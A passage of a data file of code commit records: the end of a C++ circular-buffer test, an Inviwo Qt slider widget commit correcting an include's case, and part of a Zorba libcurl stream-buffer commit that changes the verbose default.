\"hello world\"; \/\/ 11\r\n\r\n    CircularBuffer buf(1024);\r\n\r\n    cout << \"capacity: \" << buf.capacity() << endl;\r\n    cout << \"size: \" << buf.size() << endl;\r\n\r\n    int nwrite = buf.write(helloBuf, 11);\r\n    cout << \"nwrite: \" << nwrite << endl;\r\n\r\n    nwrite = buf.write(tmpBuf, 1024);\r\n    cout << \"nwrite: \" << nwrite << endl;\r\n\r\n    int nread = buf.read(tmpBuf, 1020);\r\n    cout << \"nread: \" << nread << endl;\r\n\r\n    nread = buf.read(tmpBuf, 100);\r\n    cout << \"nread: \" << nread << endl;\r\n\r\n    return 0;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/*********************************************************************************\n *\n * Inviwo - Interactive Visualization Workshop\n *\n * Copyright (c) 2014-2018 Inviwo Foundation\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *********************************************************************************\/\n\n#include <modules\/qtwidgets\/sliderwidgetqt.h>\n#include <modules\/qtwidgets\/NumberLineEdit.h>\n\n#include <limits>\n#include <cmath>\n\n#include <warn\/push>\n#include <warn\/ignore\/all>\n#include <QStyle>\n#include <QSlider>\n#include <QHBoxLayout>\n#include <QSignalBlocker>\n#include <QMouseEvent>\n#include <warn\/pop>\n\nnamespace inviwo {\n\nBaseSliderWidgetQt::BaseSliderWidgetQt(bool intMode)\n    : QWidget()\n    , spinBox_(new NumberLineEdit(intMode))\n    , slider_(new QSlider())\n    , spinnerValue_(0.0)\n    , sliderValue_(0) {\n\n    QHBoxLayout *hLayout = new QHBoxLayout();\n\n    slider_->setOrientation(Qt::Horizontal);\n    slider_->setPageStep(1);\n    slider_->setMaximum(sliderMax_);\n    slider_->installEventFilter(this);\n    slider_->setFocusPolicy(Qt::ClickFocus);\n\n    setFocusPolicy(spinBox_->focusPolicy());\n    setFocusProxy(spinBox_);\n    slider_->setFocusProxy(spinBox_);\n\n    spinBox_->setKeyboardTracking(false);  \/\/ don't emit the valueChanged() signal while typing\n\n    hLayout->addWidget(slider_);\n    hLayout->addWidget(spinBox_);\n    hLayout->setContentsMargins(0, 0, 0, 0);\n    hLayout->setSpacing(5);\n    hLayout->setStretch(0, 3);\n    hLayout->setStretch(1, 1);\n\n    setLayout(hLayout);\n    connect(slider_, &QSlider::valueChanged, this, &BaseSliderWidgetQt::updateFromSlider);\n    connect(spinBox_, static_cast<void (QDoubleSpinBox::*)(double)>(&QDoubleSpinBox::valueChanged),\n            this, &BaseSliderWidgetQt::updateFromSpinBox);\n\n    QSizePolicy sp = sizePolicy();\n    sp.setVerticalPolicy(QSizePolicy::Fixed);\n    setSizePolicy(sp);\n}\n\nvoid BaseSliderWidgetQt::setWrapping(bool wrap) { spinBox_->setWrapping(wrap); }\n\nbool BaseSliderWidgetQt::wrapping() const { return spinBox_->wrapping(); }\n\nvoid BaseSliderWidgetQt::applyInit() {\n    updateSlider();\n    updateSpinBox();\n}\n\nvoid BaseSliderWidgetQt::applyValue() {\n    applyInit();\n    emit valueChanged();\n}\nvoid BaseSliderWidgetQt::applyMinValue() {\n    QSignalBlocker spinBlock(spinBox_);\n    QSignalBlocker slideBlock(slider_);\n\n    spinBox_->setMinimum(transformMinValueToSpinner());\n    slider_->setMinimum(transformMinValueToSlider());\n    updateSlider();\n}\nvoid BaseSliderWidgetQt::applyMaxValue() {\n    QSignalBlocker spinBlock(spinBox_);\n    QSignalBlocker slideBlock(slider_);\n\n    spinBox_->setMaximum(transformMaxValueToSpinner());\n    slider_->setMaximum(transformMaxValueToSlider());\n    updateSlider();\n}\nvoid BaseSliderWidgetQt::applyIncrement() {\n    QSignalBlocker spinBlock(spinBox_);\n    QSignalBlocker slideBlock(slider_);\n\n    spinBox_->setSingleStep(transformIncrementToSpinner());\n    spinBox_->setDecimals(transformIncrementToSpinnerDecimals());\n    slider_->setSingleStep(transformIncrementToSlider());\n}\n\nvoid BaseSliderWidgetQt::updateFromSlider() {\n    int newValue = slider_->value();\n    if (newValue != sliderValue_) {\n        sliderValue_ = newValue;\n        newSliderValue(sliderValue_);\n        updateSpinBox();\n        emit valueChanged();\n    }\n}\n\nvoid BaseSliderWidgetQt::updateFromSpinBox() {\n    double newValue = spinBox_->value();\n    if (fabs(newValue - spinnerValue_) > std::numeric_limits<double>::epsilon()) {\n        spinnerValue_ = newValue;\n        newSpinnerValue(spinnerValue_);\n        updateSlider();\n        emit valueChanged();\n    }\n}\n\nvoid BaseSliderWidgetQt::updateSpinBox() {\n    QSignalBlocker spinBlock(spinBox_);\n\n    spinnerValue_ = transformValueToSpinner();\n    spinBox_->setValue(spinnerValue_);\n}\n\nvoid BaseSliderWidgetQt::updateSlider() {\n    QSignalBlocker slideBlock(slider_);\n\n    sliderValue_ = transformValueToSlider();\n    bool isOutOfBounds = (slider_->maximum() < sliderValue_ || slider_->minimum() > sliderValue_);\n    if (isOutOfBounds != slider_->property(\"outOfBounds\").toBool()) {\n        slider_->setProperty(\"outOfBounds\", isOutOfBounds);\n        slider_->style()->unpolish(slider_);\n        slider_->style()->polish(slider_);\n    }\n\n    slider_->setValue(sliderValue_);\n}\n\nbool BaseSliderWidgetQt::eventFilter(QObject *watched, QEvent *event) {\n    if (watched == slider_ && event->type() == QEvent::MouseButtonRelease) {\n        QMouseEvent *me = static_cast<QMouseEvent *>(event);\n        if (me->button() == Qt::LeftButton && !slider_->isSliderDown() && isEnabled()) {\n            auto newPos = slider_->minimum() + static_cast<double>(me->pos().x()) *\n                                                   (slider_->maximum() - slider_->minimum()) \/\n                                                   slider_->width();\n            slider_->setValue(static_cast<int>(newPos));\n            me->accept();\n            return true;\n        }\n    }\n\n    return QObject::eventFilter(watched, event);\n}\n\n}  \/\/ namespace inviwo\n<commit_msg>QtWidgets: warning fix<commit_after>\/*********************************************************************************\n *\n * Inviwo - Interactive Visualization Workshop\n *\n * Copyright (c) 2014-2018 Inviwo Foundation\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *********************************************************************************\/\n\n#include <modules\/qtwidgets\/sliderwidgetqt.h>\n#include <modules\/qtwidgets\/numberlineedit.h>\n\n#include <limits>\n#include <cmath>\n\n#include <warn\/push>\n#include <warn\/ignore\/all>\n#include <QStyle>\n#include <QSlider>\n#include <QHBoxLayout>\n#include <QSignalBlocker>\n#include <QMouseEvent>\n#include <warn\/pop>\n\nnamespace inviwo {\n\nBaseSliderWidgetQt::BaseSliderWidgetQt(bool intMode)\n    : QWidget()\n    , spinBox_(new NumberLineEdit(intMode))\n    , slider_(new QSlider())\n    , spinnerValue_(0.0)\n    , sliderValue_(0) {\n\n    QHBoxLayout *hLayout = new QHBoxLayout();\n\n    slider_->setOrientation(Qt::Horizontal);\n    slider_->setPageStep(1);\n    slider_->setMaximum(sliderMax_);\n    slider_->installEventFilter(this);\n    slider_->setFocusPolicy(Qt::ClickFocus);\n\n    setFocusPolicy(spinBox_->focusPolicy());\n    setFocusProxy(spinBox_);\n    slider_->setFocusProxy(spinBox_);\n\n    spinBox_->setKeyboardTracking(false);  \/\/ don't emit the valueChanged() signal while typing\n\n    hLayout->addWidget(slider_);\n    hLayout->addWidget(spinBox_);\n    hLayout->setContentsMargins(0, 0, 0, 0);\n    hLayout->setSpacing(5);\n    hLayout->setStretch(0, 3);\n    hLayout->setStretch(1, 1);\n\n    setLayout(hLayout);\n    connect(slider_, &QSlider::valueChanged, this, &BaseSliderWidgetQt::updateFromSlider);\n    connect(spinBox_, static_cast<void (QDoubleSpinBox::*)(double)>(&QDoubleSpinBox::valueChanged),\n            this, &BaseSliderWidgetQt::updateFromSpinBox);\n\n    QSizePolicy sp = sizePolicy();\n    sp.setVerticalPolicy(QSizePolicy::Fixed);\n    setSizePolicy(sp);\n}\n\nvoid BaseSliderWidgetQt::setWrapping(bool wrap) { spinBox_->setWrapping(wrap); }\n\nbool BaseSliderWidgetQt::wrapping() const { return spinBox_->wrapping(); }\n\nvoid BaseSliderWidgetQt::applyInit() {\n    updateSlider();\n    updateSpinBox();\n}\n\nvoid BaseSliderWidgetQt::applyValue() {\n    applyInit();\n    emit valueChanged();\n}\nvoid BaseSliderWidgetQt::applyMinValue() {\n    QSignalBlocker spinBlock(spinBox_);\n    QSignalBlocker slideBlock(slider_);\n\n    spinBox_->setMinimum(transformMinValueToSpinner());\n    slider_->setMinimum(transformMinValueToSlider());\n    updateSlider();\n}\nvoid BaseSliderWidgetQt::applyMaxValue() {\n    QSignalBlocker spinBlock(spinBox_);\n    QSignalBlocker slideBlock(slider_);\n\n    spinBox_->setMaximum(transformMaxValueToSpinner());\n    slider_->setMaximum(transformMaxValueToSlider());\n    updateSlider();\n}\nvoid BaseSliderWidgetQt::applyIncrement() {\n    QSignalBlocker spinBlock(spinBox_);\n    QSignalBlocker slideBlock(slider_);\n\n    spinBox_->setSingleStep(transformIncrementToSpinner());\n    spinBox_->setDecimals(transformIncrementToSpinnerDecimals());\n    slider_->setSingleStep(transformIncrementToSlider());\n}\n\nvoid BaseSliderWidgetQt::updateFromSlider() {\n    int newValue = slider_->value();\n    if (newValue != sliderValue_) {\n        sliderValue_ = newValue;\n        newSliderValue(sliderValue_);\n        updateSpinBox();\n        emit valueChanged();\n    }\n}\n\nvoid BaseSliderWidgetQt::updateFromSpinBox() {\n    double newValue = spinBox_->value();\n    if (fabs(newValue - spinnerValue_) > std::numeric_limits<double>::epsilon()) {\n        spinnerValue_ = newValue;\n        newSpinnerValue(spinnerValue_);\n        updateSlider();\n        emit valueChanged();\n    }\n}\n\nvoid BaseSliderWidgetQt::updateSpinBox() {\n    QSignalBlocker spinBlock(spinBox_);\n\n    spinnerValue_ = transformValueToSpinner();\n    spinBox_->setValue(spinnerValue_);\n}\n\nvoid BaseSliderWidgetQt::updateSlider() {\n    QSignalBlocker slideBlock(slider_);\n\n    sliderValue_ = transformValueToSlider();\n    bool isOutOfBounds = (slider_->maximum() < sliderValue_ || slider_->minimum() > sliderValue_);\n    if (isOutOfBounds != slider_->property(\"outOfBounds\").toBool()) {\n        slider_->setProperty(\"outOfBounds\", isOutOfBounds);\n        slider_->style()->unpolish(slider_);\n        slider_->style()->polish(slider_);\n    }\n\n    slider_->setValue(sliderValue_);\n}\n\nbool BaseSliderWidgetQt::eventFilter(QObject *watched, QEvent *event) {\n    if (watched == slider_ && event->type() == QEvent::MouseButtonRelease) {\n        QMouseEvent *me = static_cast<QMouseEvent *>(event);\n        if (me->button() == Qt::LeftButton && !slider_->isSliderDown() && isEnabled()) {\n            auto newPos = slider_->minimum() + static_cast<double>(me->pos().x()) *\n                                                   (slider_->maximum() - slider_->minimum()) \/\n                                                   slider_->width();\n            slider_->setValue(static_cast<int>(newPos));\n            me->accept();\n            return true;\n        }\n    }\n\n    return QObject::eventFilter(watched, event);\n}\n\n}  \/\/ namespace inviwo\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2006-2013 The FLWOR Foundation.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/\/ standard\n#include <algorithm>\n#include <cstdlib>\n#include <cstring>                      \/* for memcpy(3) *\/\n#include <iostream>\n#ifndef WIN32\n#include <cerrno>\n#include <sys\/time.h>\n#endif \/* WIN32 *\/\n\n\/\/ libcurl\n#include <curl\/multi.h>\n\n\/\/ Zorba\n#include \"util\/curl_streambuf.h\"\n\n#define ZORBA_LIBCURL_AT_LEAST(MAJOR,MINOR,PATCH) \\\n  (LIBCURL_VERSION_MAJOR >= (MAJOR) && LIBCURL_VERSION_MINOR >= (MINOR) && LIBCURL_VERSION_PATCH >= (PATCH))\n\nusing namespace std;\n\nnamespace zorba {\nnamespace curl {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nexception::exception( char const *function, char const *uri, char const *msg ) :\n  std::exception(),\n  curl_code_( CURLE_OK ), curlm_code_( CURLM_OK ), msg_( msg )\n{\n}\n\nexception::exception( char const *function, char const *uri, CURLcode code ) :\n  std::exception(),\n  curl_code_( code ), curlm_code_( CURLM_OK ),\n  msg_( curl_easy_strerror( code ) )\n{\n  ostringstream oss;\n  oss << \" (CURLcode \" << (int)code << ')';\n  msg_ += oss.str();\n}\n\nexception::exception( char const *function, char const *uri, CURLMcode code ) :\n  std::exception(),\n  curl_code_( CURLE_OK ), curlm_code_( code ),\n  msg_( curl_multi_strerror( code ) )\n{\n  ostringstream oss;\n  oss << \" (CURLMcode \" << (int)code << ')';\n  msg_ += oss.str();\n}\n\nexception::~exception() throw() {\n  \/\/ out-of-line since it's virtual\n}\n\nconst char* exception::what() const throw() {\n  return msg_.c_str();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nlistener::~listener() {\n  \/\/ out-of-line since it's virtual\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstreambuf::streambuf() {\n  init();\n}\n\nstreambuf::streambuf( char const *uri ) {\n  init();\n  open( uri );\n}\n\nstreambuf::streambuf( CURL *curl ) {\n  init();\n  curl_ = curl;\n  curl_init();\n  curlm_init();\n}\n\nstreambuf::~streambuf() {\n  close();\n#ifdef WIN32\n  closesocket( dummy_socket_ );\n#endif \/* WIN32 *\/\n  if ( listener_owner_ )\n    delete listener_;\n}\n\nvoid streambuf::close() {\n  if ( curl_ ) {\n    if ( curlm_ ) {\n      curl_multi_remove_handle( curlm_, curl_ );\n      curl_multi_cleanup( curlm_ );\n      curlm_ = 0;\n    }\n    curl_destroy();\n  }\n}\n\nvoid streambuf::curl_create() {\n  \/\/\n  \/\/ Having cURL initialization wrapped by a class and using a singleton static\n  \/\/ instance guarantees that cURL is initialized exactly once before use and\n  \/\/ and also is cleaned-up at program termination (when destructors for static\n  \/\/ objects are called).\n  \/\/\n  struct curl_initializer {\n    curl_initializer() {\n      ZORBA_CURL_ASSERT( curl_global_init( CURL_GLOBAL_ALL ) );\n    }\n    ~curl_initializer() {\n      curl_global_cleanup();\n    }\n  };\n  static curl_initializer initializer;\n\n  curl_ = curl_easy_init();\n  if ( !curl_ )\n    throw exception( \"curl_easy_init()\", \"\", \"\" );\n  try {\n    curl_init();\n  }\n  catch ( ... ) {\n    curl_destroy();\n    throw;\n  }\n}\n\nvoid streambuf::curl_destroy() {\n  if ( curl_ ) {\n    curl_easy_reset( curl_ );\n    curl_easy_cleanup( curl_ );\n    curl_ = 0;\n  }\n}\n\nvoid streambuf::curl_verbose( bool verbose ) {\n  verbose_ = verbose;\n  if ( curl_ )\n    ZORBA_CURL_ASSERT( curl_easy_setopt( curl_, CURLOPT_VERBOSE, verbose_ ? 1 : 0 ) );\n}\n\nvoid streambuf::curl_init() {\n  curl_easy_reset( curl_ );\n#if ZORBA_LIBCURL_AT_LEAST(7,19,4)\n  ZORBA_CURL_ASSERT( curl_easy_setopt( curl_, CURLOPT_FOLLOWLOCATION, 1 ) );\n#endif\n#if ZORBA_LIBCURL_AT_LEAST(7,15,1)\n  ZORBA_CURL_ASSERT( curl_easy_setopt( curl_, CURLOPT_MAXREDIRS, 50L ) );\n#endif\n#if ZORBA_LIBCURL_AT_LEAST(7,25,0)\n  ZORBA_CURL_ASSERT( curl_easy_setopt( curl_, CURLOPT_TCP_KEEPALIVE, 1L ) );\n#endif\n  ZORBA_CURL_ASSERT( curl_easy_setopt( curl_, CURLOPT_WRITEDATA, this ) );\n  ZORBA_CURL_ASSERT( curl_easy_setopt( curl_, CURLOPT_WRITEFUNCTION, curl_write_callback ) );\n\n  if ( verbose_ )\n    ZORBA_CURL_ASSERT( curl_easy_setopt( curl_, CURLOPT_VERBOSE, 1 ) );\n}\n\nvoid streambuf::curl_io( size_t *len_ptr ) {\n  *len_ptr = 0;\n  while ( curl_running_ && !*len_ptr ) {\n    fd_set fd_read, fd_write, fd_except;\n    FD_ZERO( &fd_read );\n    FD_ZERO( &fd_write );\n    FD_ZERO( &fd_except );\n    int max_fd = -1;\n#ifdef WIN32\n    \/\/\n    \/\/ Windows does not like a call to select where all arguments are 0, so we\n    \/\/ just add a dummy socket to make the call to select happy.\n    \/\/\n    FD_SET( dummy_socket_, &fd_read );\n#endif \/* WIN32 *\/\n    ZORBA_CURLM_ASSERT(\n      curl_multi_fdset( curlm_, &fd_read, &fd_write, &fd_except, &max_fd )\n    );\n\n    \/\/\n    \/\/ Note that the fopen.c sample code is unnecessary at best or wrong at\n    \/\/ worst; see: http:\/\/curl.haxx.se\/mail\/lib-2011-05\/0011.html\n    \/\/\n    timeval timeout;\n    long curl_timeout_ms;\n    ZORBA_CURLM_ASSERT( curl_multi_timeout( curlm_, &curl_timeout_ms ) );\n    if ( curl_timeout_ms > 0 ) {\n      timeout.tv_sec  = curl_timeout_ms \/ 1000;\n      timeout.tv_usec = curl_timeout_ms % 1000 * 1000;\n    } else {\n      \/\/\n      \/\/ From curl_multi_timeout(3):\n      \/\/\n      \/\/    Note: if libcurl returns a -1 timeout here, it just means that\n      \/\/    libcurl currently has no stored timeout value. You must not wait\n      \/\/    too long (more than a few seconds perhaps) before you call\n      \/\/    curl_multi_perform() again.\n      \/\/\n      \/\/ So we just pick some not-too-long default.\n      \/\/\n      timeout.tv_sec  = 1;\n      timeout.tv_usec = 0;\n    }\n\n    switch ( select( max_fd + 1, &fd_read, &fd_write, &fd_except, &timeout ) ) {\n      case -1:                          \/\/ select error\n#ifdef WIN32\n        char err_buf[8];\n        sprintf( err_buf, \"%d\", WSAGetLastError() );\n        throw exception( \"select()\", \"\", err_buf );\n#else\n        throw exception( \"select()\", \"\", strerror( errno ) );\n#endif \/* WIN32 *\/\n      case 0:                           \/\/ timeout\n        \/\/ no break;\n      default:\n        CURLMcode code;\n        do {\n          code = curl_multi_perform( curlm_, &curl_running_ );\n        } while ( code == CURLM_CALL_MULTI_PERFORM );\n        ZORBA_CURLM_ASSERT( code );\n    } \/\/ switch\n  } \/\/ while\n}\n\nCURLcode streambuf::curl_multi_info_read( bool throw_on_error ) {\n  underflow();\n  CURLMsg *msg;\n  int msgs_in_q;\n  CURLcode code = CURLE_OK;\n  while ( (msg = ::curl_multi_info_read( curlm_, &msgs_in_q )) )\n    if ( msg->msg == CURLMSG_DONE )\n      code = msg->data.result;\n  if ( code && throw_on_error )\n    throw exception( \"curl_multi_info_read()\", \"\", code );\n  return code;\n}\n\nsize_t streambuf::curl_write_callback( void *ptr, size_t size, size_t nmemb,\n                                       void *data ) {\n  size *= nmemb;\n  streambuf *const that = static_cast<streambuf*>( data );\n\n  if ( that->listener_ )\n    that->listener_->curl_read( ptr, size );\n\n  size_t const gbuf_free = that->gbuf_.capacity_ - that->gbuf_.len_;\n  if ( size > gbuf_free ) {\n    size_t new_capacity = that->gbuf_.capacity_ + size - gbuf_free;\n    if ( void *const new_buf = realloc( that->gbuf_.ptr_, new_capacity ) ) {\n      that->gbuf_.ptr_ = static_cast<char*>( new_buf );\n      that->gbuf_.capacity_ = new_capacity;\n    } else\n      throw exception( \"realloc()\", \"\" );\n  }\n  ::memcpy( that->gbuf_.ptr_ + that->gbuf_.len_, ptr, size );\n  that->gbuf_.len_ += size;\n  return size;\n}\n\nvoid streambuf::init() {\n  curl_ = 0;\n  curlm_ = 0;\n  curl_running_ = 0;\n#ifdef WIN32\n  dummy_socket_ = socket( AF_INET, SOCK_DGRAM, 0 );\n  if ( dummy_socket_ == CURL_SOCKET_BAD || dummy_socket_ == INVALID_SOCKET )\n    throw exception( \"socket()\", \"\" );\n#endif \/* WIN32 *\/\n  listener_ = 0;\n  listener_owner_ = false;\n}\n\nvoid streambuf::curlm_init() {\n  \/\/\n  \/\/ Lie about cURL running initially so the while-loop in curl_io() will run\n  \/\/ at least once.\n  \/\/\n  curl_running_ = 1;\n\n  \/\/\n  \/\/ Set the \"get\" pointer to the end (gptr() == egptr()) so a call to\n  \/\/ underflow() and initial data read will be triggered.\n  \/\/\n  gbuf_.len_ = gbuf_.capacity_;\n  setg( gbuf_.ptr_, gbuf_.ptr_ + gbuf_.len_, gbuf_.ptr_ + gbuf_.len_ );\n\n  \/\/\n  \/\/ Clean-up has to be done here with try\/catch (as opposed to relying on the\n  \/\/ destructor) because open() can be called from the constructor.  If an\n  \/\/ exception is thrown, the constructor will not have completed, hence the\n  \/\/ object will not have been fully constructed; therefore the destructor will\n  \/\/ not be called.\n  \/\/\n  try {\n    if ( !(curlm_ = curl_multi_init()) )\n      throw exception( \"curl_multi_init()\", \"\" );\n    try {\n      ZORBA_CURLM_ASSERT( curl_multi_add_handle( curlm_, curl_ ) );\n    }\n    catch ( ... ) {\n      curl_multi_cleanup( curlm_ );\n      curlm_ = 0;\n      throw;\n    }\n  }\n  catch ( ... ) {\n    curl_destroy();\n    throw;\n  }\n}\n\nvoid streambuf::open( char const *uri ) {\n  if ( !curl_ ) {\n    curl_create();\n    curlm_init();\n  }\n  ZORBA_CURL_ASSERT( curl_easy_setopt( curl_, CURLOPT_URL, uri ) );\n}\n\nvoid streambuf::set_listener( listener *l, bool take_ownership ) {\n  if ( listener_owner_ )\n    delete listener_;\n  listener_ = l;\n  listener_owner_ = take_ownership;\n}\n\nstreamsize streambuf::showmanyc() {\n  return egptr() - gptr();\n}\n\nstreambuf::int_type streambuf::underflow() {\n  while ( true ) {\n    if ( gptr() < egptr() )\n      return traits_type::to_int_type( *gptr() );\n    curl_io( &gbuf_.len_ );\n    if ( !gbuf_.len_ )\n      return traits_type::eof();\n    setg( gbuf_.ptr_, gbuf_.ptr_, gbuf_.ptr_ + gbuf_.len_ );\n  }\n}\n\nstreamsize streambuf::xsgetn( char_type *to, streamsize size ) {\n  streamsize return_size = 0;\n\n  if ( streamsize const gsize = egptr() - gptr() ) {\n    streamsize const n = min( gsize, size );\n    traits_type::copy( to, gptr(), static_cast<size_t>( n ) );\n    gbump( static_cast<int>( n ) );\n    to += n;\n    size -= n, return_size += n;\n  }\n\n  while ( size > 0 ) {\n    streamsize const get = min( (streamsize)gbuf_.capacity_, size );\n    curl_io( &gbuf_.len_ );\n    if ( !gbuf_.len_ )\n      break;\n    setg( gbuf_.ptr_, gbuf_.ptr_, gbuf_.ptr_ + gbuf_.len_ );\n    streamsize const n = min( (streamsize)gbuf_.len_, size );\n    traits_type::copy( to, gptr(), n );\n    gbump( static_cast<int>( n ) );\n    to += n;\n    size -= n, return_size += n;\n  }\n  return return_size;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n} \/\/ namespace curl\n} \/\/ namespace zorba\n\/* vim:set et sw=2 ts=2: *\/\n<commit_msg>Now setting verbose_ to false by default.<commit_after>\/*\n * Copyright 2006-2013 The FLWOR Foundation.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/\/ standard\n#include <algorithm>\n#include <cstdlib>\n#include <cstring>                      \/* for memcpy(3) *\/\n#include <iostream>\n#ifndef WIN32\n#include <cerrno>\n#include <sys\/time.h>\n#endif \/* WIN32 *\/\n\n\/\/ libcurl\n#include <curl\/multi.h>\n\n\/\/ Zorba\n#include \"util\/curl_streambuf.h\"\n\n#define ZORBA_LIBCURL_AT_LEAST(MAJOR,MINOR,PATCH) \\\n  (LIBCURL_VERSION_MAJOR >= (MAJOR) && LIBCURL_VERSION_MINOR >= (MINOR) && LIBCURL_VERSION_PATCH >= (PATCH))\n\nusing namespace std;\n\nnamespace zorba {\nnamespace curl {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nexception::exception( char const *function, char const *uri, char const *msg ) :\n  std::exception(),\n  curl_code_( CURLE_OK ), curlm_code_( CURLM_OK ), msg_( msg )\n{\n}\n\nexception::exception( char const *function, char const *uri, CURLcode code ) :\n  std::exception(),\n  curl_code_( code ), curlm_code_( CURLM_OK ),\n  msg_( curl_easy_strerror( code ) )\n{\n  ostringstream oss;\n  oss << \" (CURLcode \" << (int)code << ')';\n  msg_ += oss.str();\n}\n\nexception::exception( char const *function, char const *uri, CURLMcode code ) :\n  std::exception(),\n  curl_code_( CURLE_OK ), curlm_code_( code ),\n  msg_( curl_multi_strerror( code ) )\n{\n  ostringstream oss;\n  oss << \" (CURLMcode \" << (int)code << ')';\n  msg_ += oss.str();\n}\n\nexception::~exception() throw() {\n  \/\/ out-of-line since it's virtual\n}\n\nconst char* exception::what() const throw() {\n  return msg_.c_str();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nlistener::~listener() {\n  \/\/ out-of-line since it's virtual\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstreambuf::streambuf() {\n  